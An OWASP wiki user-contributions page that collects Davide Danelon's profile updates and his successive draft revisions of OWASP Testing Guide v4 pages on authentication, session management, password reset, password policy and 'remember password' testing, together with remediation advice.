OWASP - User contributions [en]

User:Davide Danelon

2018-05-22T22:31:59Z

Davide Danelon: Company and role update

Davide is currently CEO of the [https://www.bedefended.com BeDefended] company, where he manages and delivers consultancy, research and training activities on Application and Cloud Security. In particular, he manages and delivers security assessments, penetration test and code review of web and mobile applications as well as courses and support on the development and maintenance of secure software.

Davide also participated, as speaker, at some security conferences in which he presented his researches on mobile security.

Before founding BeDefended, Davide had several consultancy experiences in Minded Security, Deloitte and Reply.

He has a master’s degree in computer engineering with specialization in networks applications and holds the CCSK, GWAPT, Comptia Security+ and CCNA certifications.

Davide participated in the development of the new OWASP Testing Guide v4.

You can contact him at: davide <dot> danelon <at> owasp <dot > org

User:Davide Danelon

2017-06-04T07:44:23Z

Davide Danelon: Updated work position

Davide is Principal Security Consultant and application security researcher at [https://security.edges.it Edges], where he delivers security assessments, penetration test and code review of web and mobile applications. He also delivers courses about application security and participates as speaker at some security conferences.

He has a master’s degree in computer engineering with specialization in networks applications and holds GWAPT, Comptia Security+ and CCNA certifications.

Davide participated in the development of the new OWASP Testing Guide v4.

You can contact him at: davide <dot> danelon <at> owasp <dot > org

Testing for Session Management

2014-03-07T17:13:12Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.5 Session Management Testing'''
----

At the core of any web-based application is the way in which it maintains state and thereby controls user-interaction with the site. Session Management broadly covers all controls on a user from authentication to leaving the application.
HTTP is a stateless protocol, meaning that web servers respond to client requests without linking them to each other. Even simple application logic requires a user's multiple requests to be associated with each other across a "session”. This necessitates third party solutions – through either Off-The-Shelf (OTS) middleware and web server solutions, or bespoke developer implementations. Most popular web application environments, such as ASP and PHP, provide developers with built-in session handling routines. Some kind of identification token will typically be issued, which will be referred to as a “Session ID” or Cookie.
 
There are a number of ways in which a web application may interact with a user. Each is dependent upon the nature of the site, the security, and availability requirements of the application.
Whilst there are accepted best practices for application development, such as those outlined in the [[OWASP Guide Project|OWASP Guide to Building Secure Web Applications]], it is important that application security is considered within the context of the provider’s requirements and expectations. In this chapter we describe the following items. 

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]]

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]]

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]]

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]]

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]]

[[Testing for logout functionality (OWASP-SM-007)|4.7.6 Testing for logout functionality (OTG-SESS-007)]]

[[Test Session Timeout (OTG-SESS-008)|4.7.7 Test Session Timeout (OTG-SESS-008)]]

[[Testing for Session puzzling (OTG-SESS-010)|4.7.8 Testing for Session puzzling (OTG-SESS-010)]]

Testing for Authorization

2014-03-07T17:12:08Z

Davide Danelon:

{{Template:OWASP Testing Guide v3}}

''' 4.6 Authorization Testing '''
----

Authorization is the concept of allowing access to resources only to those permitted to use them. Testing for Authorization means understanding how the authorization process works, and using that information to circumvent the authorization mechanism. 
Authorization is a process that comes after a successful authentication, so the tester will verify this point after he holds valid credentials, associated with a well-defined set of roles and privileges. During this kind of assessment, it should be verified if it is possible to bypass the authorization schema, find a path traversal vulnerability, or find ways to escalate the privileges assigned to the tester.

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-002)]]

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-003)]]

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-004)]]

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]]

Testing for authentication

2014-03-07T17:11:17Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.5 Authentication Testing '''
----

Authentication (Greek: αυθεντικός = real or genuine, from 'authentes' = author ) is the act of establishing or confirming something (or someone) as authentic, that is, that claims made by or about the thing are true. Authenticating an object may mean confirming its provenance, whereas authenticating a person often consists of verifying her identity. Authentication depends upon one or more authentication factors.
In computer security, authentication is the process of attempting to verify the digital identity of the sender of a communication. A common example of such a process is the logon process. Testing the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism.

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]]

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]]

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]]

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]]

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]]

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]]

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]]

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]

Testing for configuration management

2014-03-07T17:09:27Z

Davide Danelon:

Testing Information Gathering

2014-03-07T17:08:41Z

Davide Danelon:

Testing Identity Management

2014-03-07T17:07:49Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.4 Testing for Identity Management '''
----

Testing for Identity Management include the following articles: 

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]]

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]]

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]]

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]]

Testing for configuration management

2014-03-07T17:06:52Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.3 Testing for configuration management '''
----

Testing for configuration management include the following articles: 

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

Testing Information Gathering

2014-03-07T17:05:29Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.2 Testing for Information Gathering '''
----

Testing for Information Gathering include the following articles: 

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)" DELETED

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

Testing Information Gathering

2014-03-07T17:04:37Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.2 Testing for Information Gathering '''
----

Testing for Information Gathering include the following articles: 

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)" DELETED

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" [Amro AlOlaqi]

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)" [Amro AlOlaqi]

Testing for configuration management

2014-03-07T17:04:07Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.3 Testing for configuration management '''
----

Often analysis of the infrastructure and topology architecture can reveal a great deal about a web application. Information such as source code, HTTP methods permitted, administrative functionality, authentication methods, and infrastructural configurations can be obtained. 

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

Testing Information Gathering

2014-03-07T17:01:31Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.2 Testing for Information Gathering '''
----

Testing for Information Gathering include the following articles: 

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)" DELETED

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" '''Ready to be reviewed'''

[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)" [Amro AlOlaqi] '''Ready to be reviewed'''

Testing Information Gathering

2014-03-07T17:00:51Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

''' 4.3 Testing for Information Gathering '''
----

Testing for Information Gathering include the following articles: 

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)" DELETED

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" '''Ready to be reviewed'''

[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)" [Amro AlOlaqi] '''Ready to be reviewed'''

Testing Information Gathering

2014-03-07T17:00:38Z

Davide Danelon:

Testing for Session puzzling (OTG-SESS-008)

2014-03-07T16:41:47Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Session Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions not limited to:
* Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.
* Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.
* Skip over qualifying phases in multiphase processes, even if the process includes all the commonly recommended code level restrictions.
* Manipulate server-side values in indirect methods that cannot be predicted or detected.
* Execute traditional attacks in locations that were previously unreachable, or even considered secure.

== Description of the Issue ==

This vulnerability occurs when an application uses the same session variable for more than one purpose.
An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set one one context and then used in another.

For example an attacker could use session variable overloading to bypass authentication enforcement mechanisms
of applications that enforce authentication by validating the existence of session
variables that contain identity–related values, which are usually stored in the session after a successful authentication process.
The authentication bypass attack vector could be executed by accessing a publicly
accessible entry point (e.g. a password recovery page) that populates the session with
an identical session variable, based on fixed values or on user originating input.

== Black Box Testing and Examples ==

This vulnerability can be detected and exploited enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points. In case of black box test, obviously, this procedure is difficult and require also luck since every different sequence could leads to a different result.

===Examples===

A very simple example could be the password reset functionality that, in the entry point, could request to the user some indentifying information as the username or the e-mail. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages, in the application, that show private data based on this session object. In this manner the attacker could bypass the authentication process.

== Gray Box testing and example ==

The most effective way to detect these vulnerabilities is via a source code review.

==Prevention==

Session variables should only be used for a single consistent purpose.

==References==
'''Whitepapers''' 
* Session Puzzles: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf
* Session Puzzling and Session Race Conditions: http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html

Testing for Session puzzling (OTG-SESS-008)

2014-03-07T16:41:17Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Session Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions not limited to:
* Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.
* Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.
* Skip over qualifying phases in multiphase processes, even if the process includes all the commonly recommended code level restrictions.
* Manipulate server-side values in indirect methods that cannot be predicted or detected.
* Execute traditional attacks in locations that were previously unreachable, or even considered secure.

== Description of the Issue ==

This vulnerability occurs when an application uses the same session variable for more than one purpose.
An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set one one context and then used in another.

For example an attacker could use session variable overloading to bypass authentication enforcement mechanisms
of applications that enforce authentication by validating the existence of session
variables that contain identity–related values, which are usually stored in the session after a successful authentication process.
The authentication bypass attack vector could be executed by accessing a publicly
accessible entry point (e.g. a password recovery page) that populates the session with
an identical session variable, based on fixed values or on user originating input.

== Black Box Testing and Examples ==

This vulnerability can be detected and exploited enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points. In case of black box test, obviously, this procedure is difficult and require also luck since every different sequence could leads to a different result.

===Examples===

A very simple example could be the password reset functionality that, in the initial entry point, could request to the user some indentifying information as the username or the e-mail. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages, in the application, that show private data based on this session object. In this manner the attacker could bypass the authentication process.

== Gray Box testing and example ==

The most effective way to detect these vulnerabilities is via a source code review.

==Prevention==

Session variables should only be used for a single consistent purpose.

==References==
'''Whitepapers''' 
* Session Puzzles: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf
* Session Puzzling and Session Race Conditions: http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html

Testing for weak password change or reset functionalities (OTG-AUTHN-009)

2014-03-07T15:15:57Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

The password change/reset function of an application is a self-service password change/reset mechanism for users. This self-service mechanism allows users to quickly change/reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plaintext.

== Test objectives ==

Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account. 
Determine the resistance of reset passwords functionality to guessing or bypassing.

== Black Box Testing and Examples ==

For both functionalities (password change and password reset) it is important to check:
# if users, other than administrators, can change/reset passwords for accounts other than their own
# if users can manipulate/subvert the password change/reset process to change/reset the password of another user or administrator
# if the password change/reset process is vulnerable to CSRF

=== Test Password Reset ===

In addition to the previus test it is important to verify:

* What information is required to reset the password?
The first step is to check whether secret questions/information are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security. 
On the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak security question/answer]] paragraph of this guide. 
 
* How are reset passwords communicated to the user?
The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last login the victim would not know that his/her account has been compromised. 
A less insecure scenario is if the password reset tool forces the user to immediately change his/her password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out. 
The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application tells that) but also to compromise that account in order to take control of the victim's access to the application. 
 
* Are reset passwords generated randomly or not?
The most insecure scenario here is if the application sends/visualizes the old password in cleartext because it means that passwords are not stored in a hashed form, which is a security issue in itself. 
The best security is achieved if passwords are randomly generated with a secure algorithm that can not be derived. 
 
* Is the reset password functionality requesting confirmation before changing the password?
To limit denial-of-service attacks the application should send, via e-mail, a link to the user with a random token, and only if the user visits the link the reset procedure is completed. So the current password should be valid until a successful reset is complete.
 

=== Test Password Change ===

In addition to the previus test it is important to verify:

* Is the old password requested to complete the change?
The most insecure scenario here is if the application permits the change of the password without requesting the current password, since if an attacker is able to take the control of a valid session he could easily change the victim's password. 

See also [[Testing_for_Weak_password_policy_(OWASP-AT-008)|Testing for Weak password policy]] paragraph of this guide.

== References ==

* [[Forgot_Password_Cheat_Sheet|OWASP Forgot Password Cheat Sheet]]
* [[OWASP_Periodic_Table_of_Vulnerabilities_-_Insufficient_Password_Recovery|OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery]]

== Remediation ==

The password change/reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation dialogs during the process.

Testing for Weak password policy (OTG-AUTHN-007)

2014-03-07T12:58:29Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

The most prevalent and most easily administered authentication mechanism is the humble password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty.

== Test objectives ==

Determine the resistance of the application's to brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

== How to test ==

# What characters are permitted and forbidden for use within a password?
# How often can a user change their password?
# When must a user change their password? After 90 days? After account lockout due to excessive logon attempts?
# How often can a user reuse a password? Does the application store the user's previous 8 passwords?
# How different must the next password be from the last password (or however many are stored by the application)?

== References ==

* [[Brute_force_attack|Brute Force]] Attacks.
* [[Password_length_%26_complexity|Password length & complexity]]

== Remediation ==

To mitigate the risk of easily guessed passwords facilitating unauthorised access there are two solutions: introduce additional authentication controls or introduce a password policy. The simplest and cheapest of these is the introduction of a password policy that ensures password length, complexity, reuse and aging.

Testing for Weak password policy (OTG-AUTHN-007)

2014-03-07T12:29:50Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

The most prevalent and most easily administered authentication mechanism is the humble password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty.

== Test objectives ==

Determine the resistance of the application's to brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

== How to test ==

# What characters are permitted and forbidden for use within a password?
# How often can a user change their password?
# When must a user change their password? After 90 days? After account lockout due to excessive logon attempts?
# How often can a user reuse a password? Does the application store the user's previous 8 passwords?
# How different must the next password be from the last password (or however many are stored by the application)?

== References ==

See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.

== Remediation ==

To mitigate the risk of easily guessed passwords facilitating unauthorised access there are two solutions: introduce additional authentication controls or introduce a password policy. The simplest and cheapest of these is the introduction of a password policy that ensures password length, complexity, reuse and aging.

Testing for Vulnerable Remember Password (OTG-AUTHN-005)

2014-03-07T12:27:01Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication portal is visited. This is a convenience for the user.
 

== Description of the Issue ==
Whilst a convenience for the user, having the browser storing passwords is also a convenience for an attacker. 
If an attacker can gain access to the victim's browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in a fully retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target authentication portal web site, entering the victim's username, and letting the browser to enter the password. 

== Black Box testing and example ==

* Enter a username and password in the target authentication portal and determine whether the browser asks the user whether they want the password remembered.
* View the authentication portal's HTML source code and look for the autocomplete="off" attribute in the password form field. The code for this will usually be along the following lines:
<pre>
<INPUT TYPE="password" AUTOCOMPLETE="off">
</pre>
* Also look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in cleartext, but are hashed. Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. Additionally, verify that the credentials are only sent during the login phase, and not sent together with every request to the application.
* Also look for other areas where a password may be entered, e.g. a Change Password form.
* Also consider other sensitive form fields (e.g. an answer to a secret question, used for Forgotten Password forms).

== Remediation ==

Any fields that contain sensitive information and passwords should be flagged in the HTML with AUTOCOMPLETE=”off”. 
Moreover no credentials have to be stored, in cleartext, into cookies.

Testing for Vulnerable Remember Password (OTG-AUTHN-005)

2014-03-07T12:26:27Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication portal is visited. This is a convenience for the user.
 

== Description of the Issue ==
Whilst a convenience for the user, having the browser storing passwords is also a convenience for an attacker. 
If an attacker can gain access to the victim's browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in a fully retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target authentication portal web site, entering the victim's username, and letting the browser to enter the password. 

== Black Box testing and example ==

* Enter a username and password in the target authentication portal and determine whether the browser asks the user whether they want the password remembered.
* View the authentication portal's HTML source code and look for the autocomplete="off" attribute in the password form field. The code for this will usually be along the following lines:
